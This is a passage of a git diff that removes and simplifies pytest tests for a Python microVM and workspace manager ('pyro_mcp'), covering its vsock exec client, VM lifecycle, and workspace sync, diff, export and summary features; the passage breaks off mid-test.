Path(str(pulled["kernel_image"])).read_text(encoding="utf-8") == "kernel-fixed\n" - assert Path(str(pulled["rootfs_image"])).read_text(encoding="utf-8") == "rootfs-fixed\n" - - def test_environment_store_prunes_stale_entries(tmp_path: Path) -> None: store = EnvironmentStore(runtime_paths=resolve_runtime_paths(), cache_dir=tmp_path / "cache") platform_dir = store.cache_dir / "linux-x86_64" diff --git a/tests/test_vm_guest.py b/tests/test_vm_guest.py index 2728cc8..fe51894 100644 --- a/tests/test_vm_guest.py +++ b/tests/test_vm_guest.py @@ -1,10 +1,6 @@ from __future__ import annotations -import io -import json import socket -import tarfile -from pathlib import Path import pytest @@ -57,365 +53,15 @@ def test_vsock_exec_client_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: return stub client = VsockExecClient(socket_factory=socket_factory) - response = client.exec(1234, 5005, "echo ok", 30, env={"TOKEN": "expected"}) + response = client.exec(1234, 5005, "echo ok", 30) assert response.exit_code == 0 assert response.stdout == "ok\n" assert stub.connected == (1234, 5005) assert b'"command": "echo ok"' in stub.sent - assert b'"env": {"TOKEN": "expected"}' in stub.sent assert stub.closed is True -def test_vsock_exec_client_upload_archive_round_trip( - monkeypatch: pytest.MonkeyPatch, tmp_path: Path -) -> None: - monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) - archive_path = tmp_path / "seed.tgz" - with tarfile.open(archive_path, "w:gz") as archive: - payload = b"hello\n" - info = tarfile.TarInfo(name="note.txt") - info.size = len(payload) - archive.addfile(info, io.BytesIO(payload)) - stub = StubSocket( - b'{"destination":"/workspace","entry_count":1,"bytes_written":6}' - ) - - def socket_factory(family: int, sock_type: int) -> StubSocket: - assert family == socket.AF_VSOCK - assert sock_type == socket.SOCK_STREAM - return stub - - client = VsockExecClient(socket_factory=socket_factory) - response = client.upload_archive( - 1234, - 5005, - archive_path, - destination="/workspace", - timeout_seconds=60, - ) - - request_payload, archive_payload = stub.sent.split(b"\n", 1) - request = json.loads(request_payload.decode("utf-8")) - assert request["action"] == "extract_archive" - assert request["destination"] == "/workspace" - assert int(request["archive_size"]) == archive_path.stat().st_size - assert archive_payload == archive_path.read_bytes() - assert response.entry_count == 1 - assert response.bytes_written == 6 - assert stub.closed is True - - -def test_vsock_exec_client_install_secrets_round_trip( - monkeypatch: pytest.MonkeyPatch, tmp_path: Path -) -> None: - monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) - archive_path = tmp_path / "secrets.tar" - with tarfile.open(archive_path, "w") as archive: - payload = b"expected\n" - info = tarfile.TarInfo(name="API_TOKEN") - info.size = len(payload) - archive.addfile(info, io.BytesIO(payload)) - stub = StubSocket( - b'{"destination":"/run/pyro-secrets","entry_count":1,"bytes_written":9}' - ) - - def socket_factory(family: int, sock_type: int) -> StubSocket: - assert family == socket.AF_VSOCK - assert sock_type == socket.SOCK_STREAM - return stub - - client = VsockExecClient(socket_factory=socket_factory) - response = client.install_secrets(1234, 5005, archive_path, timeout_seconds=60) - - request_payload, archive_payload = stub.sent.split(b"\n", 1) - request = json.loads(request_payload.decode("utf-8")) - assert request["action"] == "install_secrets" - assert int(request["archive_size"]) == archive_path.stat().st_size - assert archive_payload == archive_path.read_bytes() - assert response.destination == "/run/pyro-secrets" - assert response.entry_count == 1 - assert response.bytes_written == 9 - assert stub.closed is True - - -def test_vsock_exec_client_export_archive_round_trip( - monkeypatch: pytest.MonkeyPatch, tmp_path: Path -) -> None: - monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) - archive_bytes = io.BytesIO() - with tarfile.open(fileobj=archive_bytes, mode="w") as archive: - payload = b"hello\n" - info = tarfile.TarInfo(name="note.txt") - info.size = len(payload) - archive.addfile(info, io.BytesIO(payload)) - archive_payload = archive_bytes.getvalue() - header = json.dumps( - { - "workspace_path": "/workspace/note.txt", - "artifact_type": "file", - "archive_size": len(archive_payload), - "entry_count": 1, - "bytes_written": 6, - } - ).encode("utf-8") + b"\n" - stub = StubSocket(header + archive_payload) - - def socket_factory(family: int, sock_type: int) -> StubSocket: - assert family == socket.AF_VSOCK - assert sock_type == socket.SOCK_STREAM - return stub - - client = VsockExecClient(socket_factory=socket_factory) - archive_path = tmp_path / "export.tar" - response = client.export_archive( - 1234, - 5005, - workspace_path="/workspace/note.txt", - archive_path=archive_path, - timeout_seconds=60, - ) - - request = json.loads(stub.sent.decode("utf-8").strip()) - assert request["action"] == "export_archive" - assert request["path"] == "/workspace/note.txt" - assert archive_path.read_bytes() == archive_payload - assert response.workspace_path == "/workspace/note.txt" - assert response.artifact_type == "file" - assert response.entry_count == 1 - assert response.bytes_written == 6 - assert stub.closed is True - - -def test_vsock_exec_client_shell_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) - responses = [ - json.dumps( - { - "shell_id": "shell-1", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "state": "running", - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - } - ).encode("utf-8"), - json.dumps( - { - "shell_id": "shell-1", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "state": "running", - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "cursor": 0, - "next_cursor": 12, - "output": "pyro$ pwd\n", - "truncated": False, - } - ).encode("utf-8"), - json.dumps( - { - "shell_id": "shell-1", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "state": "running", - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "input_length": 3, - "append_newline": True, - } - ).encode("utf-8"), - json.dumps( - { - "shell_id": "shell-1", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "state": "running", - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "signal": "INT", - } - ).encode("utf-8"), - json.dumps( - { - "shell_id": "shell-1", - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "state": "stopped", - "started_at": 1.0, - "ended_at": 2.0, - "exit_code": 0, - "closed": True, - } - ).encode("utf-8"), - ] - stubs = [StubSocket(response) for response in responses] - remaining = list(stubs) - - def socket_factory(family: int, sock_type: int) -> StubSocket: - assert family == socket.AF_VSOCK - assert sock_type == socket.SOCK_STREAM - return remaining.pop(0) - - client = VsockExecClient(socket_factory=socket_factory) - opened = client.open_shell( - 1234, - 5005, - shell_id="shell-1", - cwd="/workspace", - cols=120, - rows=30, - env={"TOKEN": "expected"}, - redact_values=["expected"], - ) - assert opened.shell_id == "shell-1" - read = client.read_shell(1234, 5005, shell_id="shell-1", cursor=0, max_chars=1024) - assert read.output == "pyro$ pwd\n" - write = client.write_shell( - 1234, - 5005, - shell_id="shell-1", - input_text="pwd", - append_newline=True, - ) - assert write["input_length"] == 3 - signaled = client.signal_shell(1234, 5005, shell_id="shell-1", signal_name="INT") - assert signaled["signal"] == "INT" - closed = client.close_shell(1234, 5005, shell_id="shell-1") - assert closed["closed"] is True - open_request = json.loads(stubs[0].sent.decode("utf-8").strip()) - assert open_request["action"] == "open_shell" - assert open_request["shell_id"] == "shell-1" - assert open_request["env"] == {"TOKEN": "expected"} - assert open_request["redact_values"] == ["expected"] - - -def test_vsock_exec_client_service_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) - responses = [ - json.dumps( - { - "service_name": "app", - "command": "echo ok", - "cwd": "/workspace", - "state": "running", - "started_at": 1.0, - "ready_at": 2.0, - "ended_at": None, - "exit_code": None, - "pid": 42, - "readiness": {"type": "file", "path": "/workspace/.ready"}, - "stop_reason": None, - } - ).encode("utf-8"), - json.dumps( - { - "service_name": "app", - "command": "echo ok", - "cwd": "/workspace", - "state": "running", - "started_at": 1.0, - "ready_at": 2.0, - "ended_at": None, - "exit_code": None, - "pid": 42, - "readiness": {"type": "file", "path": "/workspace/.ready"}, - "stop_reason": None, - } - ).encode("utf-8"), - json.dumps( - { - "service_name": "app", - "command": "echo ok", - "cwd": "/workspace", - "state": "running", - "started_at": 1.0, - "ready_at": 2.0, - "ended_at": None, - "exit_code": None, - "pid": 42, - "readiness": {"type": "file", "path": "/workspace/.ready"}, - "stop_reason": None, - "stdout": "ok\n", - "stderr": "", - "tail_lines": 200, - "truncated": False, - } - ).encode("utf-8"), - json.dumps( - { - "service_name": "app", - "command": "echo ok", - "cwd": "/workspace", - "state": "stopped", - "started_at": 1.0, - "ready_at": 2.0, - "ended_at": 3.0, - "exit_code": 0, - "pid": 42, - "readiness": {"type": "file", "path": "/workspace/.ready"}, - "stop_reason": "sigterm", - } - ).encode("utf-8"), - ] - stubs = [StubSocket(response) for response in responses] - remaining = list(stubs) - - def socket_factory(family: int, sock_type: int) -> StubSocket: - assert family == socket.AF_VSOCK - assert sock_type == socket.SOCK_STREAM - return remaining.pop(0) - - client = VsockExecClient(socket_factory=socket_factory) - started = client.start_service( - 1234, - 5005, - service_name="app", - command="echo ok", - cwd="/workspace", - readiness={"type": "file", "path": "/workspace/.ready"}, - ready_timeout_seconds=30, - ready_interval_ms=500, - env={"TOKEN": "expected"}, - ) - assert started["service_name"] == "app" - status = client.status_service(1234, 5005, service_name="app") - assert status["state"] == "running" - logs = client.logs_service(1234, 5005, service_name="app", tail_lines=200) - assert logs["stdout"] == "ok\n" - stopped = client.stop_service(1234, 5005, service_name="app") - assert stopped["state"] == "stopped" - start_request = json.loads(stubs[0].sent.decode("utf-8").strip()) - assert start_request["action"] == "start_service" - assert start_request["service_name"] == "app" - assert start_request["env"] == {"TOKEN": "expected"} - - -def test_vsock_exec_client_raises_agent_error(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) - stub = StubSocket(b'{"error":"shell is unavailable"}') - client = VsockExecClient(socket_factory=lambda family, sock_type: stub) - with pytest.raises(RuntimeError, match="shell is unavailable"): - client.open_shell( - 1234, - 5005, - shell_id="shell-1", - cwd="/workspace", - cols=120, - rows=30, - ) - - def test_vsock_exec_client_rejects_bad_json(monkeypatch: pytest.MonkeyPatch) -> None: monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) stub = StubSocket(b"[]") diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 73fc74f..0182064 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -1,70 +1,14 @@ from __future__ import annotations -import io -import json -import os -import signal -import subprocess -import tarfile -import time from pathlib import Path -from typing import Any, cast +from typing import Any import pytest import pyro_mcp.vm_manager as vm_manager_module -from pyro_mcp.runtime import RuntimeCapabilities, resolve_runtime_paths +from pyro_mcp.runtime import resolve_runtime_paths from pyro_mcp.vm_manager import VmManager -from pyro_mcp.vm_network import NetworkConfig, TapNetworkManager - - -def _run_debugfs_write(rootfs_image: Path, command: str) -> None: - proc = subprocess.run( # noqa: S603 - ["debugfs", "-w", "-R", command, str(rootfs_image)], - text=True, - capture_output=True, - check=False, - ) - if proc.returncode != 0: - message = proc.stderr.strip() or proc.stdout.strip() or command - raise RuntimeError(message) - - -def _create_stopped_workspace_rootfs(tmp_path: Path) -> Path: - rootfs_image = tmp_path / "workspace-rootfs.ext4" - with rootfs_image.open("wb") as handle: - handle.truncate(16 * 1024 * 1024) - proc = subprocess.run( # noqa: S603 - ["mkfs.ext4", "-F", str(rootfs_image)], - text=True, - capture_output=True, - check=False, - ) - if proc.returncode != 0: - message = proc.stderr.strip() or proc.stdout.strip() or "mkfs.ext4 failed" - raise RuntimeError(message) - for directory in ( - "/workspace", - "/workspace/src", - "/run", - "/run/pyro-secrets", - "/run/pyro-services", - ): - _run_debugfs_write(rootfs_image, f"mkdir {directory}") - note_path = tmp_path / "note.txt" - note_path.write_text("hello from disk\n", encoding="utf-8") - child_path = tmp_path / "child.txt" - child_path.write_text("nested child\n", encoding="utf-8") - secret_path = tmp_path / "secret.txt" - secret_path.write_text("super-secret\n", encoding="utf-8") - service_path = tmp_path / "service.log" - service_path.write_text("service runtime\n", encoding="utf-8") - _run_debugfs_write(rootfs_image, f"write {note_path} /workspace/note.txt") - _run_debugfs_write(rootfs_image, f"write {child_path} /workspace/src/child.txt") - _run_debugfs_write(rootfs_image, "symlink /workspace/link note.txt") - _run_debugfs_write(rootfs_image, f"write {secret_path} /run/pyro-secrets/TOKEN") - _run_debugfs_write(rootfs_image, f"write {service_path} /run/pyro-services/app.log") - return rootfs_image +from pyro_mcp.vm_network import TapNetworkManager def test_vm_manager_lifecycle_and_auto_cleanup(tmp_path: Path) -> None: @@ -78,7 +22,6 @@ def test_vm_manager_lifecycle_and_auto_cleanup(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, - allow_host_compat=True, ) vm_id = str(created["vm_id"]) started = manager.start_vm(vm_id) @@ -104,7 +47,6 @@ def test_vm_manager_exec_timeout(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, - allow_host_compat=True, )["vm_id"] ) manager.start_vm(vm_id) @@ -125,7 +67,6 @@ def test_vm_manager_stop_and_delete(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, - allow_host_compat=True, )["vm_id"] ) manager.start_vm(vm_id) @@ -148,7 +89,6 @@ def test_vm_manager_reaps_expired(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=1, - allow_host_compat=True, )["vm_id"] ) instance = manager._instances[vm_id] # noqa: SLF001 @@ -172,7 +112,6 @@ def test_vm_manager_reaps_started_vm(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=1, - allow_host_compat=True, )["vm_id"] ) manager.start_vm(vm_id) @@ -206,21 +145,9 @@ def test_vm_manager_max_active_limit(tmp_path: Path) -> None: max_active_vms=1, network_manager=TapNetworkManager(enabled=False), ) - manager.create_vm( - environment="debian:12-base", - vcpu_count=1, - mem_mib=512, - ttl_seconds=600, - allow_host_compat=True, - ) + manager.create_vm(environment="debian:12-base", vcpu_count=1, mem_mib=512, ttl_seconds=600) with pytest.raises(RuntimeError, match="max active VMs reached"): - manager.create_vm( - environment="debian:12-base", - vcpu_count=1, - mem_mib=512, - ttl_seconds=600, - allow_host_compat=True, - ) + manager.create_vm(environment="debian:12-base", vcpu_count=1, mem_mib=512, ttl_seconds=600) def test_vm_manager_state_validation(tmp_path: Path) -> None: @@ -235,7 +162,6 @@ def test_vm_manager_state_validation(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, - allow_host_compat=True, )["vm_id"] ) with pytest.raises(RuntimeError, match="must be in 'started' state"): @@ -260,7 +186,6 @@ def test_vm_manager_status_expired_raises(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=1, - allow_host_compat=True, )["vm_id"] ) manager._instances[vm_id].expires_at = 0.0 # noqa: SLF001 @@ -288,7 +213,6 @@ def test_vm_manager_network_info(tmp_path: Path) -> None: vcpu_count=1, mem_mib=512, ttl_seconds=600, - allow_host_compat=True, ) vm_id = str(created["vm_id"]) status = manager.status_vm(vm_id) @@ -312,1321 +236,11 @@ def test_vm_manager_run_vm(tmp_path: Path) -> None: timeout_seconds=30, ttl_seconds=600, network=False, - allow_host_compat=True, ) assert int(result["exit_code"]) == 0 assert str(result["stdout"]) == "ok\n" -def test_workspace_lifecycle_and_logs(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - assert created["state"] == "started" - assert created["workspace_path"] == "/workspace" - - first = manager.exec_workspace( - workspace_id, - command="printf 'hello\\n' > note.txt", - timeout_seconds=30, - ) - second = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) - - assert first["exit_code"] == 0 - assert second["stdout"] == "hello\n" - - status = manager.status_workspace(workspace_id) - assert status["command_count"] == 2 - assert status["last_command"] is not None - - logs = manager.logs_workspace(workspace_id) - assert logs["count"] == 2 - entries = logs["entries"] - assert isinstance(entries, list) - assert entries[1]["stdout"] == "hello\n" - - deleted = manager.delete_workspace(workspace_id) - assert deleted["deleted"] is True - with pytest.raises(ValueError, match="does not exist"): - manager.status_workspace(workspace_id) - - -def test_workspace_create_seeds_directory_source_into_workspace(tmp_path: Path) -> None: - source_dir = tmp_path / "seed" - source_dir.mkdir() - (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=source_dir, - ) - workspace_id = str(created["workspace_id"]) - - workspace_seed = created["workspace_seed"] - assert workspace_seed["mode"] == "directory" - assert workspace_seed["seed_path"] == str(source_dir.resolve()) - executed = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) - assert executed["stdout"] == "hello\n" - - status = manager.status_workspace(workspace_id) - assert status["workspace_seed"]["mode"] == "directory" - assert status["workspace_seed"]["seed_path"] == str(source_dir.resolve()) - - -def test_workspace_create_seeds_tar_archive_into_workspace(tmp_path: Path) -> None: - archive_path = tmp_path / "seed.tgz" - nested_dir = tmp_path / "src" - nested_dir.mkdir() - (nested_dir / "note.txt").write_text("archive\n", encoding="utf-8") - with tarfile.open(archive_path, "w:gz") as archive: - archive.add(nested_dir / "note.txt", arcname="note.txt") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=archive_path, - ) - workspace_id = str(created["workspace_id"]) - - assert created["workspace_seed"]["mode"] == "tar_archive" - executed = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) - assert executed["stdout"] == "archive\n" - - -def test_workspace_sync_push_updates_started_workspace(tmp_path: Path) -> None: - source_dir = tmp_path / "seed" - source_dir.mkdir() - (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") - update_dir = tmp_path / "update" - update_dir.mkdir() - (update_dir / "more.txt").write_text("more\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=source_dir, - ) - workspace_id = str(created["workspace_id"]) - synced = manager.push_workspace_sync(workspace_id, source_path=update_dir, dest="subdir") - - assert synced["workspace_sync"]["mode"] == "directory" - assert synced["workspace_sync"]["destination"] == "/workspace/subdir" - - executed = manager.exec_workspace( - workspace_id, - command="cat subdir/more.txt", - timeout_seconds=30, - ) - assert executed["stdout"] == "more\n" - - status = manager.status_workspace(workspace_id) - assert status["command_count"] == 1 - assert status["workspace_seed"]["mode"] == "directory" - - -def test_workspace_sync_push_requires_started_workspace(tmp_path: Path) -> None: - source_dir = tmp_path / "seed" - source_dir.mkdir() - (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") - update_dir = tmp_path / "update" - update_dir.mkdir() - (update_dir / "more.txt").write_text("more\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=source_dir, - ) - workspace_id = str(created["workspace_id"]) - workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(workspace_path.read_text(encoding="utf-8")) - payload["state"] = "stopped" - workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - - with pytest.raises( - RuntimeError, - match="must be in 'started' state before workspace_sync_push", - ): - manager.push_workspace_sync(workspace_id, source_path=update_dir) - - -def test_workspace_sync_push_rejects_destination_outside_workspace(tmp_path: Path) -> None: - source_dir = tmp_path / "seed" - source_dir.mkdir() - (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - - with pytest.raises(ValueError, match="workspace destination must stay inside /workspace"): - manager.push_workspace_sync(workspace_id, source_path=source_dir, dest="../escape") - - -def test_workspace_metadata_list_update_and_last_activity(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - name="repro-fix", - labels={"issue": "123", "owner": "codex"}, - ) - workspace_id = str(created["workspace_id"]) - assert created["name"] == "repro-fix" - assert created["labels"] == {"issue": "123", "owner": "codex"} - created_activity = float(created["last_activity_at"]) - - listed = manager.list_workspaces() - assert listed["count"] == 1 - assert listed["workspaces"][0]["name"] == "repro-fix" - assert listed["workspaces"][0]["labels"] == {"issue": "123", "owner": "codex"} - - time.sleep(0.01) - updated = manager.update_workspace( - workspace_id, - name="retry-run", - labels={"issue": "124"}, - clear_labels=["owner"], - ) - assert updated["name"] == "retry-run" - assert updated["labels"] == {"issue": "124"} - updated_activity = float(updated["last_activity_at"]) - assert updated_activity >= created_activity - - status_before_exec = manager.status_workspace(workspace_id) - time.sleep(0.01) - manager.exec_workspace(workspace_id, command="printf 'ok\\n'", timeout_seconds=30) - status_after_exec = manager.status_workspace(workspace_id) - assert float(status_before_exec["last_activity_at"]) == updated_activity - assert float(status_after_exec["last_activity_at"]) > updated_activity - reset = manager.reset_workspace(workspace_id) - assert reset["name"] == "retry-run" - assert reset["labels"] == {"issue": "124"} - - -def test_workspace_list_loads_legacy_records_without_metadata_fields(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - record_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(record_path.read_text(encoding="utf-8")) - payload.pop("name", None) - payload.pop("labels", None) - payload.pop("last_activity_at", None) - record_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - - listed = manager.list_workspaces() - assert listed["count"] == 1 - listed_workspace = listed["workspaces"][0] - assert listed_workspace["workspace_id"] == workspace_id - assert listed_workspace["name"] is None - assert listed_workspace["labels"] == {} - assert float(listed_workspace["last_activity_at"]) == float(created["created_at"]) - - -def test_workspace_list_sorts_by_last_activity_and_skips_invalid_payload(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - first = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - name="first", - ) - second = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - name="second", - ) - first_id = str(first["workspace_id"]) - second_id = str(second["workspace_id"]) - time.sleep(0.01) - manager.exec_workspace(second_id, command="printf 'ok\\n'", timeout_seconds=30) - - invalid_dir = tmp_path / "vms" / "workspaces" / "invalid" - invalid_dir.mkdir(parents=True) - (invalid_dir / "workspace.json").write_text('"not-a-dict"', encoding="utf-8") - - listed = manager.list_workspaces() - assert listed["count"] == 2 - assert [item["workspace_id"] for item in listed["workspaces"]] == [second_id, first_id] - - -def test_workspace_update_clear_name_and_rejects_noop(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - name="repro-fix", - labels={"issue": "123"}, - ) - workspace_id = str(created["workspace_id"]) - - cleared = manager.update_workspace( - workspace_id, - clear_name=True, - clear_labels=["issue"], - ) - assert cleared["name"] is None - assert cleared["labels"] == {} - - with pytest.raises(ValueError, match="workspace update requested no effective metadata change"): - manager.update_workspace(workspace_id, clear_name=True) - - with pytest.raises(ValueError, match="name and clear_name cannot be used together"): - manager.update_workspace(workspace_id, name="retry-run", clear_name=True) - - -def test_workspace_export_rejects_empty_output_path(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - ) - - with pytest.raises(ValueError, match="output_path must not be empty"): - manager.export_workspace(str(created["workspace_id"]), path=".", output_path=" ") - - -def test_workspace_diff_and_export_round_trip(tmp_path: Path) -> None: - seed_dir = tmp_path / "seed" - seed_dir.mkdir() - (seed_dir / "note.txt").write_text("hello\n", encoding="utf-8") - update_dir = tmp_path / "update" - update_dir.mkdir() - (update_dir / "note.txt").write_text("hello from sync\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=seed_dir, - )["workspace_id"] - ) - manager.push_workspace_sync(workspace_id, source_path=update_dir) - - diff_payload = manager.diff_workspace(workspace_id) - assert diff_payload["workspace_id"] == workspace_id - assert diff_payload["changed"] is True - assert diff_payload["summary"]["modified"] == 1 - assert diff_payload["summary"]["text_patched"] == 1 - assert "-hello\n" in diff_payload["patch"] - assert "+hello from sync\n" in diff_payload["patch"] - - output_path = tmp_path / "exported-note.txt" - export_payload = manager.export_workspace( - workspace_id, - path="note.txt", - output_path=output_path, - ) - assert export_payload["workspace_id"] == workspace_id - assert export_payload["artifact_type"] == "file" - assert output_path.read_text(encoding="utf-8") == "hello from sync\n" - - status = manager.status_workspace(workspace_id) - logs = manager.logs_workspace(workspace_id) - assert status["command_count"] == 0 - assert logs["count"] == 0 - - -def test_workspace_summary_synthesizes_current_session(tmp_path: Path) -> None: - seed_dir = tmp_path / "seed" - seed_dir.mkdir() - (seed_dir / "note.txt").write_text("hello\n", encoding="utf-8") - update_dir = tmp_path / "update" - update_dir.mkdir() - (update_dir / "more.txt").write_text("more\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=seed_dir, - name="review-eval", - labels={"suite": "smoke"}, - )["workspace_id"] - ) - manager.push_workspace_sync(workspace_id, source_path=update_dir) - manager.write_workspace_file(workspace_id, "src/app.py", text="print('hello')\n") - manager.apply_workspace_patch( - workspace_id, - patch=( - "--- a/note.txt\n" - "+++ b/note.txt\n" - "@@ -1 +1 @@\n" - "-hello\n" - "+patched\n" - ), - ) - manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) - manager.create_snapshot(workspace_id, "checkpoint") - export_path = tmp_path / "exported-note.txt" - manager.export_workspace(workspace_id, "note.txt", output_path=export_path) - manager.start_service( - workspace_id, - "app", - command='sh -lc \'trap "exit 0" TERM; touch .ready; while true; do sleep 60; done\'', - readiness={"type": "file", "path": ".ready"}, - ) - manager.stop_service(workspace_id, "app") - - summary = manager.summarize_workspace(workspace_id) - - assert summary["workspace_id"] == workspace_id - assert summary["name"] == "review-eval" - assert summary["labels"] == {"suite": "smoke"} - assert summary["outcome"]["command_count"] == 1 - assert summary["outcome"]["export_count"] == 1 - assert summary["outcome"]["snapshot_count"] == 1 - assert summary["commands"]["total"] == 1 - assert summary["commands"]["recent"][0]["command"] == "cat note.txt" - assert [event["event_kind"] for event in summary["edits"]["recent"]] == [ - "patch_apply", - "file_write", - "sync_push", - ] - assert summary["changes"]["available"] is True - assert summary["changes"]["changed"] is True - assert summary["changes"]["summary"]["total"] == 4 - assert summary["services"]["current"][0]["service_name"] == "app" - assert [event["event_kind"] for event in summary["services"]["recent"]] == [ - "service_stop", - "service_start", - ] - assert summary["artifacts"]["exports"][0]["workspace_path"] == "/workspace/note.txt" - assert summary["snapshots"]["named_count"] == 1 - assert summary["snapshots"]["recent"][0]["snapshot_name"] == "checkpoint" - - -def test_workspace_summary_degrades_gracefully_for_stopped_and_legacy_workspaces( - tmp_path: Path, -) -> None: - seed_dir = tmp_path / "seed" - seed_dir.mkdir() - (seed_dir / "note.txt").write_text("hello\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - stopped_workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=seed_dir, - )["workspace_id"] - ) - manager.exec_workspace(stopped_workspace_id, command="cat note.txt", timeout_seconds=30) - manager.stop_workspace(stopped_workspace_id) - stopped_summary = manager.summarize_workspace(stopped_workspace_id) - assert stopped_summary["commands"]["total"] == 1 - assert stopped_summary["changes"]["available"] is False - assert "must be in 'started' state" in str(stopped_summary["changes"]["reason"]) - - legacy_workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=seed_dir, - )["workspace_id"] - ) - baseline_path = ( - tmp_path / "vms" / "workspaces" / legacy_workspace_id / "baseline" / "workspace.tar" - ) - baseline_path.unlink() - legacy_summary = manager.summarize_workspace(legacy_workspace_id) - assert legacy_summary["changes"]["available"] is False - assert "baseline snapshot" in str(legacy_summary["changes"]["reason"]) - - -def test_workspace_file_ops_and_patch_round_trip(tmp_path: Path) -> None: - seed_dir = tmp_path / "seed" - seed_dir.mkdir() - src_dir = seed_dir / "src" - src_dir.mkdir() - (src_dir / "app.py").write_text('print("bug")\n', encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=seed_dir, - )["workspace_id"] - ) - - listing = 